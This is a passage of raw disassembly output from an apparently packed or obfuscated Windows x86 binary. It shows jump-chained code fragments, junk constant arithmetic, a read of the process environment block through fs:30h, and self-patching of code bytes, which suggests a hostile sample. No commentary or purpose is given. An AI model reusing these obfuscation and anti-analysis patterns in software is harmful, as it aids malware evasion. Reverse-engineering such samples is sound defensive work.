BYTES ; FUNCTION CHUNK AT 10017AC2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100184DD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018751 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10019094 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100196B5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A1B6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AF1A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001B565 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 1001C0F8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C896 SIZE 00000015 BYTES xchg eax, [esp+0] pop eax jno loc_10018751 sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jmp loc_100196B5 sub_10018E79 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10018E91 proc near ; DATA XREF: sub_1001DECE:loc_10019DCCo ; FUNCTION CHUNK AT 10015103 SIZE 00000005 BYTES add esp, 0FFFFFFE4h mov [ebp-8], edx mov [ebp-4], eax push offset loc_1001AF9F jmp loc_10015103 sub_10018E91 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C8CE loc_10018EA4: ; CODE XREF: sub_1001C8CE+6j mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_8], eax call sub_10019E17 loc_10018EB2: ; CODE XREF: sub_10015B5D+46C4j jmp loc_1001A921 ; END OF FUNCTION CHUNK FOR sub_1001C8CE ; --------------------------------------------------------------------------- loc_10018EB7: ; CODE XREF: an.kk9rg:loc_10018FADj ; an.kk9rg:10018FC6j and esi, 1A5588BAh sub esi, 5478768Ch add esi, 4C291568h push offset sub_10013AEC jmp loc_10014F0D ; --------------------------------------------------------------------------- loc_10018ED3: ; DATA XREF: sub_10018066:loc_100139F6o jb loc_1001DACE sub al, 99h push 0F4FC6531h pop edx and edx, 0BE2810CAh xor edx, 0F75E79D9h sub edx, 0FEED0CF2h jmp loc_10019B5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10018EF8: ; CODE XREF: sub_1001ABFD-67D0j jz loc_10015FD1 shl edi, 4 jmp loc_1001D0ED ; --------------------------------------------------------------------------- loc_10018F06: ; CODE XREF: sub_1001ABFD+2275j sub al, 99h push 5CA1E60h pop edx jmp loc_10017701 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; =============== S U B R O U T I N E ======================================= sub_10018F13 proc near ; DATA XREF: sub_1001685A+Bo var_4 = dword ptr -4 push ebx mov ebx, eax xchg ebx, [esp+4+var_4] ror eax, 10h push offset loc_1001D6C3 jmp nullsub_93 sub_10018F13 endp ; --------------------------------------------------------------------------- loc_10018F26: ; CODE XREF: an.kk9rg:10017CA3j not esi ; =============== S U B R O U T I N E ======================================= sub_10018F28 proc near ; CODE XREF: an.kk9rg:1001D2BBp xchg ecx, [esp+0] pop ecx push 856E881h pop edi add edi, 5D3E1589h jmp loc_1001C6F3 sub_10018F28 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A365 loc_10018F3D: ; CODE XREF: sub_1001A365+Cj mov edx, ebp xchg ebx, [esp+0] mov ebp, ebx pop ebx jmp loc_1001B3B9 ; END OF FUNCTION CHUNK FOR sub_1001A365 ; --------------------------------------------------------------------------- loc_10018F4A: ; CODE XREF: an.kk9rg:100142B5j sbb ebp, esi push ebp ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10018F4D: ; CODE XREF: sub_1001A97E:loc_100142A8j xor eax, 127C022Eh call sub_10015DB9 loc_10018F58: ; CODE XREF: sub_1001AC73-55ADj jmp loc_10017758 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B92 loc_10018F5D: ; CODE XREF: sub_1001537B:loc_100155BAj ; sub_10016B92:loc_1001ABA4j pop ebp push ds:dword_1001B728 retn ; END OF FUNCTION CHUNK FOR sub_10016B92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194EA loc_10018F65: ; CODE XREF: sub_100194EA+23C5j mov eax, [ebp-1Ch] jmp loc_10016E9F ; END OF FUNCTION CHUNK FOR sub_100194EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_10018F6D: ; CODE XREF: sub_1001CF40-1E65j jge loc_1001B2D4 jmp loc_1001C9C1 ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_10018F78: ; CODE XREF: sub_10017A58+9j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_1001C9C1 jmp loc_100181DC ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10018F8C: ; CODE XREF: sub_1001564A:loc_10019026j test eax, 8000h jmp loc_10014729 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- loc_10018F97: ; CODE XREF: an.kk9rg:10014434j mov ebp, esp add esp, 0FFFFFFCCh push offset sub_100146AF jmp loc_10015580 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_10018FA6: ; CODE XREF: sub_1001504E+68D7j xor ebp, eax jmp loc_10014FFC ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- loc_10018FAD: ; CODE XREF: an.kk9rg:loc_100183C6j jge loc_10018EB7 ; START OF FUNCTION CHUNK FOR sub_1001D129 loc_10018FB3: ; CODE XREF: sub_1001D129+6j jmp loc_100190F2 ; END OF FUNCTION CHUNK FOR sub_1001D129 ; --------------------------------------------------------------------------- and eax, 0DB6CD12Eh or ebx, edx adc ecx, 8BD160ACh jmp loc_10018EB7 ; --------------------------------------------------------------------------- loc_10018FCB: ; DATA XREF: sub_10018C76+579o mov [ebp-20h], eax ; START OF FUNCTION CHUNK FOR sub_10018C76 loc_10018FCE: ; CODE XREF: sub_10018C76-2C4Ej ; sub_10018C76-286Fj ... mov eax, [ebp-20h] sub eax, [ebp-28h] mov [ebp-24h], eax mov eax, [ebp-24h] mov esp, ebp pop ebp jmp nullsub_42 ; END OF FUNCTION CHUNK FOR sub_10018C76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_10018FE2: ; CODE XREF: sub_1001C799-135j shr eax, 8 ; END OF FUNCTION CHUNK FOR sub_1001C799 ; =============== S U B R O U T I N E ======================================= sub_10018FE5 proc near ; CODE XREF: an.kk9rg:1001CB00p xchg eax, [esp+0] pop eax call sub_1001ABFD jmp loc_100185E0 sub_10018FE5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_10018FF3: ; CODE XREF: sub_100188EE:loc_1001678Ej ; sub_100188EE-108Dj mov eax, [ebp-4] xor edx, edx push ebp push edx pop ebp xchg ebp, [esp+0] push eax jmp loc_1001A909 ; END OF FUNCTION CHUNK FOR sub_100188EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C547 loc_10019004: ; CODE XREF: sub_1001C547:loc_10017504j cmp dword ptr [ebp-14h], 6 setz al loc_1001900B: ; CODE XREF: sub_10015633+76DBj call sub_100182D9 pop ecx shl eax, 3 mov edx, [ebp+8] jmp loc_100197FE ; END OF FUNCTION CHUNK FOR sub_1001C547 ; =============== S U B R O U T I N E ======================================= sub_1001901C proc near ; DATA XREF: sub_1001A3F4+36F8o mov [ebp-4], eax mov eax, [ebp-4] mov esp, ebp pop ebp retn sub_1001901C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10019026: ; CODE XREF: sub_1001564A+Ej jmp loc_10018F8C ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_1001902B: ; CODE XREF: sub_10018C4D-3818j jmp loc_1001B4A3 ; END OF FUNCTION CHUNK FOR sub_10018C4D ; =============== S U B R O U T I N E ======================================= sub_10019030 proc near ; CODE XREF: sub_10019F19-3B72p ; sub_100180C2+139p ... ; FUNCTION CHUNK AT 100138B8 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10014F89 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016D25 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100176EA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017830 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 10018BA2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019037 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001923F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001949E SIZE 00000019 BYTES ; FUNCTION CHUNK AT 10019847 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001CD98 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CF09 SIZE 0000001A BYTES push ebp jmp loc_10016D25 sub_10019030 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_69. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_10019037: ; CODE XREF: sub_10019030+81Ej jmp loc_1001923F ; END OF FUNCTION CHUNK FOR sub_10019030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001903C: ; CODE XREF: sub_1001C535-73B5j jmp loc_100169BB ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10019041: ; CODE XREF: sub_1001893F:loc_10013AFEj sbb ebx, edi cmp esi, 0A5DED04Ah jmp loc_10016D34 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- loc_1001904E: ; CODE XREF: an.kk9rg:1001C56Dj call sub_100141F5 cmp eax, [ebp-8] jnz loc_1001CE18 mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] jmp loc_1001D34E ; --------------------------------------------------------------------------- loc_1001906A: ; DATA XREF: an.kk9rg:100191E3o add eax, ebp add eax, 0BC513039h popf xor edx, edx call sub_10019030 jmp loc_100133AA ; --------------------------------------------------------------------------- loc_1001907F: ; DATA XREF: sub_10015168+1o push ecx mov eax, large fs:30h mov eax, [eax+0Ch] push offset sub_10017AEF jmp locret_1001D033 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_10019094: ; CODE XREF: sub_10018E79:loc_100196B5j jz loc_1001C7EE jmp loc_1001C0F8 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; =============== S U B R O U T I N E ======================================= sub_1001909F proc near ; DATA XREF: an.kk9rg:loc_10015BCBo xchg eax, [esp+0] jmp loc_100194D1 sub_1001909F endp ; --------------------------------------------------------------------------- loc_100190A7: ; CODE XREF: an.kk9rg:1001C5B3j push offset loc_1001405D jmp loc_10018DB9 ; --------------------------------------------------------------------------- loc_100190B1: ; CODE XREF: an.kk9rg:loc_10014629j push ecx push ebx push offset loc_10018B5B jmp locret_10016ADF ; --------------------------------------------------------------------------- loc_100190BD: ; CODE XREF: an.kk9rg:100178EFj add ecx, eax pop eax mov [ecx], eax pop ecx push esi jmp loc_10015A16 ; --------------------------------------------------------------------------- loc_100190C9: ; CODE XREF: an.kk9rg:1001DF0Cj mov byte ptr [eax], 0C3h jmp loc_10018A19 ; --------------------------------------------------------------------------- call nullsub_168 jmp ds:dword_10002028 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_168. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jz loc_10014A4A mov eax, [esp] jmp loc_1001D05A ; =============== S U B R O U T I N E ======================================= sub_100190EB proc near ; CODE XREF: sub_10013688+5BF5p ; an.kk9rg:1001AC83j ; FUNCTION CHUNK AT 10017052 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CCB1 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 1001D329 SIZE 00000010 BYTES xchg ebx, [esp+0] pop ebx or [edx-8], eax loc_100190F2: ; CODE XREF: sub_1001D129:loc_10018FB3j ; sub_10016C31+425Ej ... jb loc_1001CCC6 loc_100190F8: ; CODE XREF: an.kk9rg:10014763j cmp dword ptr [ebp-14h], 4 jnz loc_1001C7B0 jmp loc_1001CCB1 sub_100190EB endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10019107: ; CODE XREF: an.kk9rg:100157F0j jns loc_10015E48 sbb eax, 0EFC1D3C8h ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_10019113: ; CODE XREF: sub_10016D04:loc_10013AADj add eax, esi loc_10019115: ; CODE XREF: an.kk9rg:loc_1001CEFEj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_100165CE jmp loc_10016357 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CB33 loc_10019126: ; CODE XREF: sub_1001CB33:loc_1001CB3Ej jnz loc_100134A2 jmp loc_10015B9A ; END OF FUNCTION CHUNK FOR sub_1001CB33 ; --------------------------------------------------------------------------- loc_10019131: ; CODE XREF: an.kk9rg:1001A483j push 2659E2F3h pop ebx sub ebx, 836AD494h test ebx, 400000h jmp loc_1001AFF4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_149. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10019149: ; CODE XREF: sub_10016D66+4034j jmp loc_1001D344 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- not ecx shl edx, 1Eh jmp sub_10015945 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_10019158: ; CODE XREF: sub_100142E8:loc_100142EDj jnz loc_1001444B jmp loc_1001B76C ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100175DE loc_10019163: ; CODE XREF: sub_100175DE:loc_1001CF9Cj mov eax, 0D42F615Bh jmp loc_1001467E ; END OF FUNCTION CHUNK FOR sub_100175DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001916D: ; CODE XREF: sub_1001A97E-2D44j xor ebp, ebx loc_1001916F: ; CODE XREF: sub_1001C535:loc_1001A174j call sub_1001C2A9 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; START OF FUNCTION CHUNK FOR sub_1001A7BD loc_10019174: ; CODE XREF: sub_1001A7BD+Dj jmp loc_1001601E ; END OF FUNCTION CHUNK FOR sub_1001A7BD ; --------------------------------------------------------------------------- loc_10019179: ; CODE XREF: an.kk9rg:loc_10017CEEj xchg edi, [esp] ; START OF FUNCTION CHUNK FOR sub_1001893F loc_1001917C: ; CODE XREF: sub_1001893F:loc_10017CC8j mov ebp, esp push ecx mov [ebp-4], eax push offset sub_10019595 jmp sub_10018268 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_1001918C: ; CODE XREF: sub_1001CF40:loc_1001308Bj xchg eax, ebx jnp loc_1001729A ja loc_1001CC85 jmp loc_1001B0D8 ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- loc_1001919F: ; CODE XREF: an.kk9rg:10013776j adc eax, edx ; START OF FUNCTION CHUNK FOR sub_10013753 loc_100191A1: ; CODE XREF: sub_10013753+Dj or edi, ds:100000C1h add edi, 61C32035h mov [edi], eax pop edi lea eax, nullsub_178 mov byte ptr [eax], 0C3h jmp nullsub_178 ; END OF FUNCTION CHUNK FOR sub_10013753 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_100191BE: ; CODE XREF: sub_10013688+7A77j shr edi, 11h add eax, 26C160D9h test esi, 39B65588h jmp loc_1001C38F ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001767A loc_100191D2: ; CODE XREF: sub_1001767A+31E2j jz loc_100155C2 jmp loc_1001A312 ; END OF FUNCTION CHUNK FOR sub_1001767A ; --------------------------------------------------------------------------- loc_100191DD: ; DATA XREF: sub_100174F4-3263o xor eax, 0DBFBD171h push offset loc_1001906A jmp locret_1001CD44 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_63. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C76 loc_100191EE: ; CODE XREF: sub_10018C76:loc_10016D2Fj pop ecx push offset loc_10018FCB jmp loc_100132D1 ; END OF FUNCTION CHUNK FOR sub_10018C76 ; =============== S U B R O U T I N E ======================================= sub_100191F9 proc near ; DATA XREF: sub_1001A3F4+20o ; FUNCTION CHUNK AT 1001DADD SIZE 0000000A BYTES push eax call sub_100142E8 mov ds:dword_10019650, eax mov ds:byte_10019638, 1 jmp loc_1001DADD sub_100191F9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_10019210: ; CODE XREF: sub_1001CF40-6556j sbb ecx, 7B37E8A6h loc_10019216: ; CODE XREF: sub_1001D461-67FBj ; sub_10016D04+8j ... jmp loc_10016782 ; --------------------------------------------------------------------------- loc_1001921B: ; CODE XREF: sub_1001492C:loc_10017487j ; sub_10016D04+37D0j ... xchg eax, [esp+0] mov ecx, eax loc_10019220: ; CODE XREF: an.kk9rg:loc_1001429Bj pop eax pop ebp retn ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C26A loc_10019223: ; CODE XREF: sub_1001C26A-46EDj jmp loc_100141CD ; END OF FUNCTION CHUNK FOR sub_1001C26A ; --------------------------------------------------------------------------- locret_10019228: ; CODE XREF: an.kk9rg:loc_1001D02Ej retn ; --------------------------------------------------------------------------- loc_10019229: ; CODE XREF: an.kk9rg:10017B44j jo loc_10015840 ; START OF FUNCTION CHUNK FOR sub_1001997C loc_1001922F: ; CODE XREF: sub_1001997C-60EDj xor edi, 437FFF8Ch add eax, edi xchg eax, [esp+0] jmp loc_10014020 ; END OF FUNCTION CHUNK FOR sub_1001997C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_1001923F: ; CODE XREF: sub_10019030:loc_10019037j jz loc_1001C484 jmp loc_100176EA ; END OF FUNCTION CHUNK FOR sub_10019030 ; =============== S U B R O U T I N E ======================================= sub_1001924A proc near ; CODE XREF: an.kk9rg:100139D4j ; an.kk9rg:10015877p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1001DD15 SIZE 00000008 BYTES xchg edi, [esp+0] pop edi push 47C6967Fh pop eax loc_10019254: ; CODE XREF: an.kk9rg:loc_1001B82Ej rol eax, 1Bh or eax, 85FCB377h add eax, 10030E07h jmp loc_1001DD15 sub_1001924A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10019268: ; CODE XREF: an.kk9rg:10019339j push ebp ; =============== S U B R O U T I N E ======================================= sub_10019269 proc near ; CODE XREF: sub_1001CA40+8p ; FUNCTION CHUNK AT 10013A55 SIZE 00000005 BYTES xchg eax, [esp+0] loc_1001926C: ; CODE XREF: an.kk9rg:loc_10013993j pop eax push esi mov esi, ecx xchg esi, [esp+0] mov esp, ebp jmp loc_10013A55 sub_10019269 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_1001927A: ; CODE XREF: sub_10013688:loc_1001D8D4j mov edx, [ebp+8] call sub_100190EB ; END OF FUNCTION CHUNK FOR sub_10013688 ; START OF FUNCTION CHUNK FOR sub_100194EA loc_10019282: ; CODE XREF: sub_100194EA+9FAj jmp loc_10017992 ; END OF FUNCTION CHUNK FOR sub_100194EA ; --------------------------------------------------------------------------- and ebx, 0E17A1249h push ebx jmp sub_10017A58 ; =============== S U B R O U T I N E ======================================= sub_10019293 proc near ; CODE XREF: sub_10013BB8:loc_10013BC5p ; an.kk9rg:1001AC58j xchg ecx, [esp+0] pop ecx cmp dword ptr [eax], 0FFFFFFFFh mov ebx, [eax+4] mov eax, [eax] jnz loc_10013BBF retn sub_10019293 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_111. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_100192A7: ; CODE XREF: an.kk9rg:10015489j jmp locret_1001A670 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi jmp loc_10016A61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_100192B6: ; CODE XREF: sub_10018066:loc_10016B07j jnz loc_1001A245 ror esi, 1Dh or esi, ecx jmp loc_1001A245 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014CDF loc_100192C6: ; CODE XREF: sub_10014CDF+8j rol eax, 18h push eax retn ; END OF FUNCTION CHUNK FOR sub_10014CDF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_100192CB: ; CODE XREF: sub_1001C2D8-157Dj jmp loc_10015F5F ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; =============== S U B R O U T I N E ======================================= sub_100192D0 proc near ; CODE XREF: sub_10018066:loc_1001CAD1j ; FUNCTION CHUNK AT 10017207 SIZE 00000005 BYTES push ebx mov ebx, ebp push offset loc_100193D9 jmp loc_10017207 sub_100192D0 endp ; =============== S U B R O U T I N E ======================================= sub_100192DD proc near ; DATA XREF: sub_10013389+8Co ; FUNCTION CHUNK AT 100174EF SIZE 00000005 BYTES xchg ebx, [esp+0] jmp loc_100174EF sub_100192DD endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_197. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_100192E6: ; CODE XREF: sub_1001B5A3-463Dj jmp loc_1001993E ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- loc_100192EB: ; CODE XREF: an.kk9rg:1001DC8Aj jo loc_10016120 or ecx, 807EB780h jmp sub_10016B92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100175DE loc_100192FC: ; CODE XREF: sub_100175DE-6A0j jnz loc_1001491B jmp loc_100185C9 ; END OF FUNCTION CHUNK FOR sub_100175DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_10019307: ; CODE XREF: sub_100180C2+Cj mov eax, (offset loc_10013FEE+2) call sub_1001D1DB cmp ds:dword_10013FFC, 0 jnz loc_1001820A lea edx, [ebp+var_14] mov eax, offset dword_10019624 call sub_10019030 lea eax, [ebp+var_14] jmp loc_100163AF ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- sbb esi, 0D5438B2Eh jmp loc_10019268 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001933E: ; CODE XREF: sub_10013389:loc_1001AF7Ej and edx, ebp jmp sub_10015086 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_10019345: ; DATA XREF: sub_10019771+5o push 0CFACF77Bh pop esi add esi, 61E0EA0Bh sub esi, ds:100000C5h cmp esi, 0CF23CC9Dh jmp loc_100183C6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_166. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10019367: ; CODE XREF: sub_10013389:loc_1001B32Bj jmp loc_100188CB ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B20F loc_1001936C: ; CODE XREF: sub_1001B20F+1Bj mov esp, ebp pop ebp push ds:dword_1001BC9C retn ; --------------------------------------------------------------------------- loc_10019376: ; CODE XREF: sub_1001B20F+4j mov ebp, esp call nullsub_10 mov eax, ds:dword_1001BC9C call sub_100174F4 jmp loc_1001A844 ; END OF FUNCTION CHUNK FOR sub_1001B20F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_1001938C: ; CODE XREF: sub_10019595:loc_10016B64j jnz loc_1001D9B9 cdq jle loc_1001B63A jmp loc_1001D9B9 ; END OF FUNCTION CHUNK FOR sub_10019595 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018798 loc_1001939E: ; CODE XREF: sub_10018798-215Bj mov ecx, ebx cdq loc_100193A1: ; CODE XREF: sub_10018798:loc_1001771Dj call sub_10019473 ; END OF FUNCTION CHUNK FOR sub_10018798 ; START OF FUNCTION CHUNK FOR sub_10013688 loc_100193A6: ; CODE XREF: sub_10013688+1E51j jmp loc_1001DCB8 ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_100193AB: ; CODE XREF: sub_10019571-2B2Bj ; an.kk9rg:1001AC68j mov edx, ebx pop ebx mov eax, [esp-8+arg_4] ; END OF FUNCTION CHUNK FOR sub_10019571 ; =============== S U B R O U T I N E ======================================= sub_100193B1 proc near ; CODE XREF: sub_10015B5D:loc_1001CB0Aj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10016D8D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001BA56 SIZE 0000000E BYTES push ebx mov ebx, edx xchg ebx, [esp+4+var_4] jmp loc_10016D8D sub_100193B1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100193BC: ; CODE XREF: sub_10013389:loc_100151F8j jnz loc_100134FD mov ebx, 99785974h jmp loc_100134FB ; END OF FUNCTION CHUNK FOR sub_10013389 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] db 0A8h, 10h, 0 dd 1DEEC100h, 16DFE9h db 0 ; --------------------------------------------------------------------------- loc_100193D9: ; DATA XREF: sub_100192D0+3o xchg ebx, [esp] call sub_1001AAAA jnb loc_1001B7F6 cmp ebp, 57CCF2DBh jmp loc_10017211 ; =============== S U B R O U T I N E ======================================= sub_100193F2 proc near ; CODE XREF: an.kk9rg:10016713j ; sub_1001B2CC+1751p ; FUNCTION CHUNK AT 1001322E SIZE 0000001A BYTES ; FUNCTION CHUNK AT 100138F2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100146C2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014AF4 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 10014B92 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015BC1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016775 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016E80 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017328 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10017A99 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10017F72 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018278 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 100188DA SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10018915 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 10018977 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001973D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10019FA5 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001A1C6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001ACCE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001AD4B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B441 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001C32F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C7FB SIZE 0000001D BYTES ; FUNCTION CHUNK AT 1001CA86 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CAE7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001CC29 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 1001D609 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 1001D90D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001DA32 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi add esp, 8 mov [ebp-4], eax jmp loc_10017328 sub_100193F2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10019401 proc near ; CODE XREF: sub_10017273+4p ; sub_1001B45F+7p push ebp mov ebp, esp jmp sub_10014968 sub_10019401 endp ; =============== S U B R O U T I N E ======================================= sub_10019409 proc near ; CODE XREF: sub_10018268j ; DATA XREF: sub_10013389:loc_1001825Eo arg_8 = dword ptr 0Ch arg_C = dword ptr 10h ; FUNCTION CHUNK AT 100132DD SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001332E SIZE 00000020 BYTES ; FUNCTION CHUNK AT 100135E2 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10013766 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100137EC SIZE 0000000A 